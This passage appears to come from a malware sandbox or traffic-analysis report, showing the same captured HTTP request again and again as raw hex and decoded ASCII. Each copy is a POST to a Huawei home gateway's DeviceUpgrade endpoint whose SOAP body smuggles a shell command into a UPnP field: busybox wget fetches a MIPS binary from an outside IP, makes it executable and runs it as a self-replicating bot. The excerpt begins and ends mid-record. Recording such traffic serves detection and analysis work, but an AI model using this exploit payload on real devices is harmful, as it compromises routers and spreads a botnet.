2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope 